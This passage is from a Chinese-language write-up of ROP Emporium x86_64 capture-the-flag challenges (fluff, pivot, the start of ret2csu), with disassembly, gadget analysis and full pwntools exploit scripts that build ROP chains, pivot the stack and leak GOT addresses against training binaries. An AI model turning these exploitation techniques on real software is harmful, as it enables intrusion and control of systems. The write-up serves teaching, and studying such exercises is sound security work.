rop.raw(bytes_to_long("".join(reversed("flag.txt")).encode()) ^ 0x1111111111111111)
rop.raw(buf)
rop.raw(0x11)
rop.raw(buf+i)
rop.raw(0x000000000400634)
# 0x0000000000400628 : xor byte ptr [r15], r14b ; ret
rop.raw(0x000000000400628)
i+=1
while i<8:
rop.raw(0x00000000004006a2) # 0x00000000004006a2 : pop r15 ; ret
rop.raw(buf+i)
rop.raw(0x000000000400628) # 0x0000000000400628 : xor byte ptr [r15], r14b ; ret
i+=1
rop.rdi = buf
rop.raw(elf.plt.print_file)
print(rop.dump())
payload = cyclic(0x28) + rop.chain()
io.sendlineafter(b"> ",payload)
io.interactive()
运行结果：
[DEBUG] Received 0x2c bytes:
b'Thank you!\n'
b'ROPE{a_placeholder_32byte_flag!}\n'
Thank you!
ROPE{a_placeholder_32byte_flag!}
6. fluff
缓解机制：【NX】
程序：（位于so文件）
.text:00000000000008AA pwnme proc near ; DATA XREF: LOAD:00000000000003E0↑o
.text:00000000000008AA
.text:00000000000008AA s = byte ptr -20h
.text:00000000000008AA
.text:00000000000008AA ; __unwind {
.text:00000000000008AA push rbp
.text:00000000000008AB mov rbp, rsp
.text:00000000000008AE sub rsp, 20h
.text:00000000000008B2 mov rax, cs:stdout_ptr
.text:00000000000008B9 mov rax, [rax]
.text:00000000000008BC mov ecx, 0 ; n
.text:00000000000008C1 mov edx, 2 ; modes
.text:00000000000008C6 mov esi, 0 ; buf
.text:00000000000008CB mov rdi, rax ; stream
.text:00000000000008CE call _setvbuf
.text:00000000000008D3 lea rdi, s ; "fluff by ROP Emporium"
.text:00000000000008DA call _puts
.text:00000000000008DF lea rdi, aX8664 ; "x86_64\n"
.text:00000000000008E6 call _puts
.text:00000000000008EB lea rax, [rbp+s]
.text:00000000000008EF mov edx, 20h ; ' ' ; n
.text:00000000000008F4 mov esi, 0 ; c
.text:00000000000008F9 mov rdi, rax ; s
.text:00000000000008FC call _memset
.text:0000000000000901 lea rdi, aYouKnowChangin ; "You know changing these strings means I"...
.text:0000000000000908 call _puts
.text:000000000000090D lea rdi, format ; "> "
.text:0000000000000914 mov eax, 0
.text:0000000000000919 call _printf
.text:000000000000091E lea rax, [rbp+s]
.text:0000000000000922 mov edx, 200h ; nbytes
.text:0000000000000927 mov rsi, rax ; buf
.text:000000000000092A mov edi, 0 ; fd
.text:000000000000092F call _read
.text:0000000000000934 lea rdi, aThankYou ; "Thank you!"
.text:000000000000093B call _puts
.text:0000000000000940 nop
.text:0000000000000941 leave
.text:0000000000000942 retn
.text:0000000000000942 ; } // starts at 8AA
.text:0000000000000942 pwnme endp
read调用存在溢出
程序提供了一些辅助代码：
.text:0000000000400617 usefulFunction proc near
.text:0000000000400617 ; __unwind {
.text:0000000000400617 push rbp
.text:0000000000400618 mov rbp, rsp
.text:000000000040061B mov edi, offset aNonexistent ; "nonexistent"
.text:0000000000400620 call _print_file
.text:0000000000400625 nop
.text:0000000000400626 pop rbp
.text:0000000000400627 retn
.text:0000000000400627 ; } // starts at 400617
.text:0000000000400627 usefulFunction endp
.text:0000000000400627
.text:0000000000400628 ; ---------------------------------------------------------------------------
.text:0000000000400628
.text:0000000000400628 questionableGadgets:
.text:0000000000400628 xlat
.text:0000000000400629 retn
.text:000000000040062A ; ---------------------------------------------------------------------------
.text:000000000040062A pop rdx
.text:000000000040062B pop rcx
.text:000000000040062C add rcx, 3EF2h
.text:0000000000400633 bextr rbx, rcx, rdx
.text:0000000000400638 retn
.text:0000000000400639 ; ---------------------------------------------------------------------------
.text:0000000000400639 stosb
.text:000000000040063A retn
.text:000000000040063A ; ---------------------------------------------------------------------------
目标是读取flag.txt，这里也提供了print_file函数可以用，需要参数flag.txt字符串指针
xlat：以al为偏移，索引bx指向内存中的字节，可以用来从内存里取字节，需要al和bx的值可控
bextr：位域索引，第一个源操作数是原数据，第二个源操作数是索引开始位置（8位）和长度，这里可以控制rbx的值
其他有用的gadget：
0x00000000004006a3 : pop rdi ; ret
0x0000000000400639 : stosb byte ptr [rdi], al ; ret
stosb可以保存1个字节从al到rdi指向的地址，rdi可以控制，设置为随便一个可写地址就行
xlat的效果是，al = [al+rbx]，rbx是数组，从rbx中用al索引一个字节到al上，al这里初始值是0xb，需要rbx可控，就能控制al的值
bextr可以用来控制rbx的值，rcx填写目标地址-0x3e2f的值，rdx填写0x4000，表示把rcx的值全部复制给rbx
到此，rbx可控，从而al可控，从而可以写入字节到任意可写内存，开始一步一步实现：
控制rbx：
def set_rbx(b:int):
p = b""
p += pack(bextr_ret)
p += pack(0x4000)
p += pack(b - 0x3ef2)
return p
控制al：
def set_al(a:bytes,offset:int):
tmp = next(elf.search(a)) - offset
#print(hex(tmp))
p = pack(xlatb_ret)
return set_rbx(tmp) + p
保存al到地址：
is_first = True
def save_al(val:bytes,offset:int):
global is_first
p = b""
if is_first:
p += pack(pop_rdi_ret)
p += pack(buffer)
is_first = False
p += pack(stosb_rdi_al_ret)
return set_al(val,offset) + p
保存字符串到地址：
def write_str(s:bytes):
p=b""
last_al = 0xb
for i in s:
p += save_al(p8(i),last_al)
last_al = i
return p
完整exp：
#!/bin/python3
from Crypto.Util.number import *
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
context.log_level = 'debug'
FILE_NAME = "fluff"
REMOTE_HOST = ""
REMOTE_PORT = 0
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
gs = '''
b*pwnme+151
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# =======================================
io = start()
# =============================================================================
# ============== exploit ===================
pop_rdi_ret = 0x00000000004006a3 # : pop rdi ; ret
stosb_rdi_al_ret = 0x0000000000400639 # : stosb byte ptr [rdi], al ; ret
xlatb_ret = 0x0000000000400628 # : xlat ; ret
"""
.text:000000000040062A pop rdx
.text:000000000040062B pop rcx
.text:000000000040062C add rcx, 3EF2h
.text:0000000000400633 bextr rbx, rcx, rdx
.text:0000000000400638 retn
"""
bextr_ret = 0x000000000040062A
padding = b'A' * 0x28
buffer = 0x000000000601038
print_file = 0x000000000400620
def set_rbx(b:int):
p = b""
p += pack(bextr_ret)
p += pack(0x4000)
p += pack(b - 0x3ef2)
return p
def set_al(a:bytes,offset:int):
tmp = next(elf.search(a)) - offset
#print(hex(tmp))
p = pack(xlatb_ret)
return set_rbx(tmp) + p
is_first = True
def save_al(val:bytes,offset:int):
global is_first
p = b""
if is_first:
p += pack(pop_rdi_ret)
p += pack(buffer)
is_first = False
p += pack(stosb_rdi_al_ret)
return set_al(val,offset) + p
def write_str(s:bytes):
p=b""
last_al = 0xb
for i in s:
p += save_al(p8(i),last_al)
last_al = i
return p
payload = write_str(b"flag.txt")
payload += pack(pop_rdi_ret)
payload += pack(buffer)
payload += pack(print_file)
io.sendline(padding + payload)
io.interactive()
运行结果：
fluff.zip.d ➤ python3 exp.py '/home/selph/ctf/CTF_selph/rop_emporium_all_challenges/x64/fluff.zip.d/fluff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.' '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/selph/ctf/CTF_selph/rop_emporium_all_challenges/x64/fluff.zip.d/fluff' argv=[b'/home/selph/ctf/CTF_selph/rop_emporium_all_challenges/x64/fluff.zip.d/fluff'] : pid 66892
[DEBUG] Sent 0x191 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 2a 06 40 00 00 00 00 00 │AAAA│AAAA│*·@·│····│
00000030 00 40 00 00 00 00 00 00 c7 c4 3f 00 00 00 00 00 │·@··│····│··?·│····│
00000040 28 06 40 00 00 00 00 00 a3 06 40 00 00 00 00 00 │(·@·│····│··@·│····│
00000050 38 10 60 00 00 00 00 00 39 06 40 00 00 00 00 00 │8·`·│····│9·@·│····│
00000060 2a 06 40 00 00 00 00 00 00 40 00 00 00 00 00 00 │*·@·│····│·@··│····│
00000070 e1 c2 3f 00 00 00 00 00 28 06 40 00 00 00 00 00 │··?·│····│(·@·│····│
00000080 39 06 40 00 00 00 00 00 2a 06 40 00 00 00 00 00 │9·@·│····│*·@·│····│
00000090 00 40 00 00 00 00 00 00 78 c4 3f 00 00 00 00 00 │·@··│····│x·?·│····│
000000a0 28 06 40 00 00 00 00 00 39 06 40 00 00 00 00 00 │(·@·│····│9·@·│····│
000000b0 2a 06 40 00 00 00 00 00 00 40 00 00 00 00 00 00 │*·@·│····│·@··│····│
000000c0 7c c4 3f 00 00 00 00 00 28 06 40 00 00 00 00 00 │|·?·│····│(·@·│····│
000000d0 39 06 40 00 00 00 00 00 2a 06 40 00 00 00 00 00 │9·@·│····│*·@·│····│
000000e0 00 40 00 00 00 00 00 00 f5 c2 3f 00 00 00 00 00 │·@··│····│··?·│····│
000000f0 28 06 40 00 00 00 00 00 39 06 40 00 00 00 00 00 │(·@·│····│9·@·│····│
00000100 2a 06 40 00 00 00 00 00 00 40 00 00 00 00 00 00 │*·@·│····│·@··│····│
00000110 72 c2 3f 00 00 00 00 00 28 06 40 00 00 00 00 00 │r·?·│····│(·@·│····│
00000120 39 06 40 00 00 00 00 00 2a 06 40 00 00 00 00 00 │9·@·│····│*·@·│····│
00000130 00 40 00 00 00 00 00 00 e0 c2 3f 00 00 00 00 00 │·@··│····│··?·│····│
00000140 28 06 40 00 00 00 00 00 39 06 40 00 00 00 00 00 │(·@·│····│9·@·│····│
00000150 2a 06 40 00 00 00 00 00 00 40 00 00 00 00 00 00 │*·@·│····│·@··│····│
00000160 28 c2 3f 00 00 00 00 00 28 06 40 00 00 00 00 00 │(·?·│····│(·@·│····│
00000170 39 06 40 00 00 00 00 00 a3 06 40 00 00 00 00 00 │9·@·│····│··@·│····│
00000180 38 10 60 00 00 00 00 00 20 06 40 00 00 00 00 00 │8·`·│····│ ·@·│····│
00000190 0a │·│
00000191 Switching to interactive mode
[DEBUG] Received 0x94 bytes:
b'fluff by ROP Emporium\n'
b'x86_64\n'
b'\n'
b'You know changing these strings means I have to rewrite my solutions...\n'
b'> Thank you!\n'
b'ROPE{a_placeholder_32byte_flag!}\n'
fluff by ROP Emporium
x86_64
You know changing these strings means I have to rewrite my solutions...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
7. pivot
缓解机制：【NX】
程序：
main：
.text:0000000000400847 ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:0000000000400847 public main
.text:0000000000400847 main proc near ; DATA XREF: _start+1D↑o
.text:0000000000400847
.text:0000000000400847 var_10 = qword ptr -10h
.text:0000000000400847 ptr = qword ptr -8
.text:0000000000400847
.text:0000000000400847 ; __unwind {
.text:0000000000400847 push rbp
.text:0000000000400848 mov rbp, rsp
.text:000000000040084B sub rsp, 10h
.text:000000000040084F mov rax, cs:__bss_start
.text:0000000000400856 mov ecx, 0 ; n
.text:000000000040085B mov edx, 2 ; modes
.text:0000000000400860 mov esi, 0 ; buf
.text:0000000000400865 mov rdi, rax ; stream
.text:0000000000400868 call _setvbuf
.text:000000000040086D mov edi, offset s ; "pivot by ROP Emporium"
.text:0000000000400872 call _puts
.text:0000000000400877 mov edi, offset aX8664 ; "x86_64\n"
.text:000000000040087C call _puts
.text:0000000000400881 mov [rbp+ptr], 0
.text:0000000000400889 mov edi, 1000000h ; size
.text:000000000040088E call _malloc
.text:0000000000400893 mov [rbp+ptr], rax
.text:0000000000400897 cmp [rbp+ptr], 0
.text:000000000040089C jnz short loc_4008B2
.text:000000000040089E mov edi, offset aFailedToReques ; "Failed to request space for pivot stack"
.text:00000000004008A3 call _puts
.text:00000000004008A8 mov edi, 1 ; status
.text:00000000004008AD call _exit
.text:00000000004008B2 ; ---------------------------------------------------------------------------
.text:00000000004008B2
.text:00000000004008B2 loc_4008B2: ; CODE XREF: main+55↑j
.text:00000000004008B2 mov rax, [rbp+ptr]
.text:00000000004008B6 add rax, 0FFFF00h
.text:00000000004008BC mov [rbp+var_10], rax
.text:00000000004008C0 mov rax, [rbp+var_10]
.text:00000000004008C4 mov rdi, rax
.text:00000000004008C7 call pwnme
.text:00000000004008CC mov [rbp+var_10], 0
.text:00000000004008D4 mov rax, [rbp+ptr]
.text:00000000004008D8 mov rdi, rax ; ptr
.text:00000000004008DB call _free
.text:00000000004008E0 mov edi, offset aExiting ; "\nExiting"
.text:00000000004008E5 call _puts
.text:00000000004008EA mov eax, 0
.text:00000000004008EF leave
.text:00000000004008F0 retn
.text:00000000004008F0 ; } // starts at 400847
.text:00000000004008F0 main endp
这里申请了巨大无比的内存传入
pwnme：
.text:00000000004008F1 pwnme proc near ; CODE XREF: main+80↑p
.text:00000000004008F1
.text:00000000004008F1 buf = qword ptr -28h
.text:00000000004008F1 s = byte ptr -20h
.text:00000000004008F1
.text:00000000004008F1 ; __unwind {
.text:00000000004008F1 push rbp
.text:00000000004008F2 mov rbp, rsp
.text:00000000004008F5 sub rsp, 30h
.text:00000000004008F9 mov [rbp+buf], rdi
.text:00000000004008FD lea rax, [rbp+s]
.text:0000000000400901 mov edx, 20h ; ' ' ; n
.text:0000000000400906 mov esi, 0 ; c
.text:000000000040090B mov rdi, rax ; s
.text:000000000040090E call _memset
.text:0000000000400913 mov edi, offset aCallRet2winFro ; "Call ret2win() from libpivot"
.text:0000000000400918 call _puts
.text:000000000040091D mov rax, [rbp+buf]
.text:0000000000400921 mov rsi, rax
.text:0000000000400924 mov edi, offset format ; "The Old Gods kindly bestow upon you a p"...
.text:0000000000400929 mov eax, 0
.text:000000000040092E call _printf
.text:0000000000400933 mov edi, offset aSendARopChainN ; "Send a ROP chain now and it will land t"...
.text:0000000000400938 call _puts
.text:000000000040093D mov edi, offset asc_400B34 ; "> "
.text:0000000000400942 mov eax, 0
.text:0000000000400947 call _printf
.text:000000000040094C mov rax, [rbp+buf]
.text:0000000000400950 mov edx, 100h ; nbytes
.text:0000000000400955 mov rsi, rax ; buf
.text:0000000000400958 mov edi, 0 ; fd
.text:000000000040095D call _read
.text:0000000000400962 mov edi, offset aThankYou ; "Thank you!\n"
.text:0000000000400967 call _puts
.text:000000000040096C mov edi, offset aNowPleaseSendY ; "Now please send your stack smash"
.text:0000000000400971 call _puts
.text:0000000000400976 mov edi, offset asc_400B34 ; "> "
.text:000000000040097B mov eax, 0
.text:0000000000400980 call _printf
.text:0000000000400985 lea rax, [rbp+s]
.text:0000000000400989 mov edx, 40h ; '@' ; nbytes
.text:000000000040098E mov rsi, rax ; buf
.text:0000000000400991 mov edi, 0 ; fd
.text:0000000000400996 call _read
.text:000000000040099B mov edi, offset aThankYou_0 ; "Thank you!"
.text:00000000004009A0 call _puts
.text:00000000004009A5 nop
.text:00000000004009A6 leave
.text:00000000004009A7 retn
.text:00000000004009A7 ; } // starts at 4008F1
.text:00000000004009A7 pwnme endp
read调用了2次，第一次是读取到一个缓冲区里，第二次是读取到栈上，可溢出长度非常短
程序提供了缓冲区的地址，这是个栈迁移pivot的示例练习，程序执行输出信息：
pivot.zip.d ➤ ./pivot
pivot by ROP Emporium
x86_64
Call ret2win() from libpivot
The Old Gods kindly bestow upon you a place to pivot: 0x7f2319fd5f10
Send a ROP chain now and it will land there
> 111
Thank you!
Now please send your stack smash
> 222
Thank you!
Exiting
程序提供了一些辅助代码：
.text:00000000004009A8 uselessFunction proc near
.text:00000000004009A8 ; __unwind {
.text:00000000004009A8 push rbp
.text:00000000004009A9 mov rbp, rsp
.text:00000000004009AC call _foothold_function
.text:00000000004009B1 mov edi, 1 ; status
.text:00000000004009B6 call _exit
.text:00000000004009B6 ; } // starts at 4009A8
.text:00000000004009B6 uselessFunction endp
.text:00000000004009B6
.text:00000000004009BB ; ---------------------------------------------------------------------------
.text:00000000004009BB
.text:00000000004009BB usefulGadgets:
.text:00000000004009BB pop rax
.text:00000000004009BC retn
.text:00000000004009BD ; ---------------------------------------------------------------------------
.text:00000000004009BD xchg rax, rsp
.text:00000000004009BF retn
.text:00000000004009C0
.text:00000000004009C0 ; =============== S U B R O U T I N E =======================================
.text:00000000004009C0
.text:00000000004009C0
.text:00000000004009C0 sub_4009C0 proc near
.text:00000000004009C0 mov rax, [rax]
.text:00000000004009C3 retn
.text:00000000004009C3 sub_4009C0 endp
.text:00000000004009C3
.text:00000000004009C4 ; ---------------------------------------------------------------------------
.text:00000000004009C4 add rax, rbp
.text:00000000004009C7 retn
提供了_foothold_function函数，在so库里，查看so该函数：
.text:000000000000096A foothold_function proc near ; DATA XREF: LOAD:0000000000000388↑o
.text:000000000000096A ; __unwind {
.text:000000000000096A push rbp
.text:000000000000096B mov rbp, rsp
.text:000000000000096E lea rdi, s ; "foothold_function(): Check out my .got."...
.text:0000000000000975 call _puts
.text:000000000000097A nop
.text:000000000000097B pop rbp
.text:000000000000097C retn
.text:000000000000097C ; } // starts at 96A
.text:000000000000097C foothold_function endp
该函数毫无意义，但是可以用于延迟绑定后提供该so库的地址泄露
so库里还有个后门函数：
.text:0000000000000A81 public ret2win
.text:0000000000000A81 ret2win proc near ; DATA XREF: LOAD:0000000000000448↑o
.text:0000000000000A81
.text:0000000000000A81 stream = qword ptr -38h
.text:0000000000000A81 s = byte ptr -30h
.text:0000000000000A81 var_8 = qword ptr -8
.text:0000000000000A81
.text:0000000000000A81 ; __unwind {
.text:0000000000000A81 push rbp
.text:0000000000000A82 mov rbp, rsp
.text:0000000000000A85 sub rsp, 40h
.text:0000000000000A89 mov rax, fs:28h
.text:0000000000000A92 mov [rbp+var_8], rax
.text:0000000000000A96 xor eax, eax
.text:0000000000000A98 mov [rbp+stream], 0
.text:0000000000000AA0 lea rsi, modes ; "r"
.text:0000000000000AA7 lea rdi, filename ; "flag.txt"
.text:0000000000000AAE call _fopen
.text:0000000000000AB3 mov [rbp+stream], rax
.text:0000000000000AB7 cmp [rbp+stream], 0
.text:0000000000000ABC jnz short loc_AD4
.text:0000000000000ABE lea rdi, aFailedToOpenFi ; "Failed to open file: flag.txt"
.text:0000000000000AC5 call _puts
.text:0000000000000ACA mov edi, 1 ; status
.text:0000000000000ACF call _exit
.text:0000000000000AD4 ; ---------------------------------------------------------------------------
.text:0000000000000AD4
.text:0000000000000AD4 loc_AD4: ; CODE XREF: ret2win+3B↑j
.text:0000000000000AD4 mov rdx, [rbp+stream] ; stream
.text:0000000000000AD8 lea rax, [rbp+s]
.text:0000000000000ADC mov esi, 21h ; '!' ; n
.text:0000000000000AE1 mov rdi, rax ; s
.text:0000000000000AE4 call _fgets
.text:0000000000000AE9 lea rax, [rbp+s]
.text:0000000000000AED mov rdi, rax ; s
.text:0000000000000AF0 call _puts
.text:0000000000000AF5 mov rax, [rbp+stream]
.text:0000000000000AF9 mov rdi, rax ; stream
.text:0000000000000AFC call _fclose
.text:0000000000000B01 mov [rbp+stream], 0
.text:0000000000000B09 mov edi, 0 ; status
.text:0000000000000B0E call _exit
.text:0000000000000B0E ; } // starts at A81
.text:0000000000000B0E ret2win endp
.text:0000000000000B0E
.text:0000000000000B0E _text ends
思路现在就是：
- 执行_foothold_function函数，
- 打印_foothold_function的got表，泄露地址，拿到win函数地址
-
返回到pwnme函数的末尾read函数调用
- 这里要注意rbp的值，以及leave之后的rsp，适当的调整以至于能覆盖到返回地址
- 调用win函数
在此之前，需要进行栈迁移：
- 读取提供的可控缓冲区地址
- 使用该地址覆盖rbp
- 返回地址跳转到leave ret指令，完成迁移
exp：
#!/bin/python3
from Crypto.Util.number import *
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
context.log_level = 'debug'
FILE_NAME = "./pivot"
REMOTE_HOST = ""
REMOTE_PORT = 0
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
gs = '''
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# =======================================
io = start()
# =============================================================================
# ============== exploit ===================
io.recvuntil(b"The Old Gods kindly bestow upon you a place to pivot: ")
buffer = io.recvline()[:-1]
buffer = int(buffer.decode(),16)
buffer = buffer
print(hex(buffer))
_foothold_function_plt = 0x00000000400720
_foothold_function_got = 0x00000000601040
main = 0x000000000400985
rop = ROP(elf)
rop.raw(_foothold_function_plt)
rop.puts(_foothold_function_got)
rop.rbp=buffer + 0x60
rop.raw(main)
io.sendafter(b"> ",b"A" * 0x8 + rop.chain())
padding = b"A" * 0x20
payload2 = padding + pack(buffer) + pack(next(elf.search(asm("leave;ret"))))
print(payload2)
io.sendafter(b"> ",payload2)
io.recvuntil(b"foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot\n")
leak = io.recvline()[:-1]
leak = u64(leak.ljust(8, b"\x00"))
print(hex(leak))
baseso = leak - 0x96a
win = baseso + 0xa81
payload3 = b"A"*0x28+ pack(win)
io.send(payload3)
io.interactive()
运行结果：
pivot.zip.d ➤ ./exp_cli.py debug pivot '/home/selph/ctf/CTF_selph/rop_emporium_all_challenges/x64/pivot.zip.d/pivot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Starting local process '/home/selph/ctf/CTF_selph/rop_emporium_all_challenges/x64/pivot.zip.d/pivot': pid 123437
0x7fc5097d5f10
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10_}\t\xc5\x7f\x00\x00\xef\x08@\x00\x00\x00\x00\x00'
0x7fc509a0096a
Thank you!
ROPE{a_placeholder_32byte_flag!}
8. ret2csu
缓解机制：【NX】
程序：pwnme在so库里
.text:000000000000093A public pwnme
.text:000000000000093A pwnme proc near ; DATA XREF: LOAD:00000000000003F8↑o
.text:000000000000093A
.text:000000000000093A s = byte ptr -20h
.text:000000000000093A
.text:000000000000093A ; __unwind {
.text:000000000000093A push rbp
.text:000000000000093B mov rbp, rsp
.text:000000000000093E sub rsp, 20h
.text:0000000000000942 mov rax, cs:stdout_ptr
.text:0000000000000949 mov rax, [rax]
.text:000000000000094C mov ecx, 0 ; n
.text:0000000000000951 mov edx, 2 ; modes
.text:0000000000000956 mov esi, 0 ; buf
.text:000000000000095B mov rdi, rax ; stream
.text:000000000000095E call _setvbuf
.text:0000000000000963 lea rdi, s ; "ret2csu by ROP Emporium"
.text:000000000000096A call _puts
.text:000000000000096F lea rdi, aX8664 ; "x86_64\n"
.text:0000000000000976 call _puts
.text:000000000000097B lea rax, [rbp+s]
.text:000000000000097F mov edx, 20h ; ' ' ; n
.text:0000000000000984 mov esi, 0 ; c
.text:0000000000000989 mov rdi, rax ; s
.text:000000000000098C call _memset
.text:0000000000000991 lea rdi, aCheckOutHttpsR ; "Check out https://ropemporium.com/chall"...
.text:0000000000000998 call _puts
.text:000000000000099D lea rdi, format ; "> "
.text:00000000000009A4 mov eax, 0
.text:00000000000009A9 call _printf
.text:00000000000009AE lea rax, [rbp+s]
.text:00000000000009B2 mov edx, 200h ; nbytes
.text:00000000000009B7 mov rsi, rax ; buf
.text:00000000000009BA mov edi, 0 ; fd
.text:00000000000009BF call _read
.text:00000000000009C4 lea rdi, aThankYou ; "Thank you!"
.text:00000000000009CB call _puts
.text:00000000000009D0 nop
.text:00000000000009D1 leave
.text:00000000000009D2 retn
.text:00000000000009D2 ; } // starts at 93A
.text:00000000000009D2 pwnme endp
read调用存在溢出，可以溢出很大空间
so库还提供了后门函数：（太长了，就用伪代码吧）
void __fastcall __noreturn ret2win(__int64 a1, __int64 a2, __int64 a3)
{
FILE *stream; // [rsp+20h] [rbp-10h]
FILE *streama; // [rsp+20h] [rbp-10h]
int i; // [rsp+2Ch] [rbp-4h]
if ( a1 == 0xDEADBEEFDEADBEEFLL && a2 == 0xCAFEBABECAFEBABELL && a3 == 0xD00DF00DD00DF00DLL )
{
stream = fopen("encrypted_flag.dat", "r");
if ( !stream )
{
puts("Failed to open encrypted_flag.dat");
exit(1);
}
g_buf = (char *)malloc(0x21uLL);
if ( !g_buf )
{
puts("Could not allocate memory");
exit(1);
}
g_buf = fgets(g_buf, 33, stream);
fclose(stream);
streama = fopen("key.dat", "r");
if ( !streama )
{
puts("Failed to open key.dat");
exit(1);
}
for ( i = 0; i <= 31; ++i )
g_buf[i] ^= fgetc(streama);
*(_QWORD *)(g_buf + 4) ^= 0xDEADBEEFDEADBEEFLL;
*(_QWORD *)(g_buf + 12) ^= 0xCAFEBABECAFEBABELL;
*(_QWORD *)(g_buf + 20) ^= 0xD00DF00DD00DF00DLL;
puts(g_buf);
exit(0);
}
puts("Incorrect parameters");
exit(1);
}
elf里的有用片段：
.text:0000000000400617 usefulFunction proc near
.text:0000000000400617 ; __unwind {
.text:0000000000400617 push rbp
.text:0000000000400618 mov rbp, rsp
.text:000000000040061B mov edx, 3
.text:0000000000400620 mov esi, 2
.text:0000000000400625 mov edi, 1
.text:000000000040062A call _ret2win
.text:000000000040062F nop
.text:0000000000400630 pop rbp
.text:0000000000400631 retn
.text:0000000000400631 ; } // starts at 400617
.text:0000000000400631 usefulFunction endp
调用后门函数，但是参数是错误的
题目的意图很明确，需要满足参数条件后，直接调用win函数
- rdi = 0xDEADBEEFDEADBEEF
- rsi = 0xCAFEBABECAFEBABE
- rdx= 0xD00DF00DD00DF00D
gadgets不满足目标：没法修改这三个值
ret2csu.zip.d ➤ ROPgadget --binary ret2csu --only "pop|ret"
Gadgets information
============================================================
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e6 : ret
Unique gadgets found: 11
main函数下面一点可以看到csu函数，这里提供了有用的片段：
.text:0000000000400680 loc_400680: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400680 mov rdx, r15
.text:0000000000400683 mov rsi, r14
.text:0000000000400686 mov edi, r13d
.text:0000000000400689 call ds:(__frame_dummy_init_array_entry - 600DF0h)[r12+rbx*8]
.text:000000000040068D add rbx, 1
.text:0000000000400691 cmp rbp, rbx
.text:0000000000400694 jnz short loc_400680
.text:0000000000400696
.text:0000000000400696 loc_400696: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400696 add rsp, 8
.text:000000000040069A pop rbx
.text:000000000040069B pop rbp
.text:000000000040069C pop r12
.text:000000000040069E pop r13
.text:00000000004006A0 pop r14
.text:00000000004006A2 pop r15
.text:00000000004006A4 retn
上半部分可以给这三个寄存器赋值然后call一个地址，需要我们能控制r13，r14，r15三个寄存器，以及rbx=0，r12=call win函数
下半部分能满足我们要控制的寄存器的要求
思路：
- 溢出跳转到csu函数后半部分，给寄存器赋值
- 然后再跳转到csu函数前半部分，调用win函数
但是这里存在一个问题，就是赋值rdi的那个指令：
.text:0000000000400686 mov edi, r13d
只能赋值4字节，高4字节赋值不了，所以不能通过call [r12+rbx*8]调用win函数
这里需要解引用到一个无关紧要的函数上
小知识点，需要解引用找函数跳板去elf的LOAD段去找：
LOAD:0000000000600E00 01 00 00 00 00 00 00 00 01 00 _DYNAMIC Elf64_Dyn <1, 1> ; DATA XREF: LOAD:0000000000400130↑o
LOAD:0000000000600E00 00 00 00 00 00 00 ; .got.plt:_GLOBAL_OFFSET_TABLE_↓o
LOAD:0000000000600E00 ; DT_NEEDED libret2csu.so
LOAD:0000000000600E10 01 00 00 00 00 00 00 00 38 00… Elf64_Dyn <1, 38h> ; DT_NEEDED libc.so.6
LOAD:0000000000600E20 1D 00 00 00 00 00 00 00 78 00… Elf64_Dyn <1Dh, 78h> ; DT_RUNPATH .
LOAD:0000000000600E30 0C 00 00 00 00 00 00 00 D0 04… Elf64_Dyn <0Ch, 4004D0h> ; DT_INIT
LOAD:0000000000600E40 0D 00 00 00 00 00 00 00 B4 06… Elf64_Dyn <0Dh, 4006B4h> ; DT_FINI
LOAD:0000000000600E50 19 00 00 00 00 00 00 00 F0 0D… Elf64_Dyn <19h, 600DF0h> ; DT_INIT_ARRAY
LOAD:0000000000600E60 1B 00 00 00 00 00 00 00 08 00… Elf64_Dyn <1Bh, 8> ; DT_INIT_ARRAYSZ
LOAD:0000000000600E70 1A 00 00 00 00 00 00 00 F8 0D… Elf64_Dyn <1Ah, 600DF8h> ; DT_FINI_ARRAY
LOAD:0000000000600E80 1C 00 00 00 00 00 00 00 08 00… Elf64_Dyn <1Ch, 8> ; DT_FINI_ARRAYSZ
LOAD:0000000000600E90 F5 FE FF 6F 00 00 00 00 98 02… Elf64_Dyn <6FFFFEF5h, 400298h> ; DT_GNU_HASH
LOAD:0000000000600EA0 05 00 00 00 00 00 00 00 C0 03… Elf64_Dyn <5, 4003C0h> ; DT_STRTAB
LOAD:0000000000600EB0 06 00 00 00 00 00 00 00 D0 02… Elf64_Dyn <6, 4002D0h> ; DT_SYMTAB
LOAD:0000000000600EC0 0A 00 00 00 00 00 00 00 7A 00… Elf64_Dyn <0Ah, 7Ah> ; DT_STRSZ
LOAD:0000000000600ED0 0B 00 00 00 00 00 00 00 18 00… Elf64_Dyn <0Bh, 18h> ; DT_SYMENT
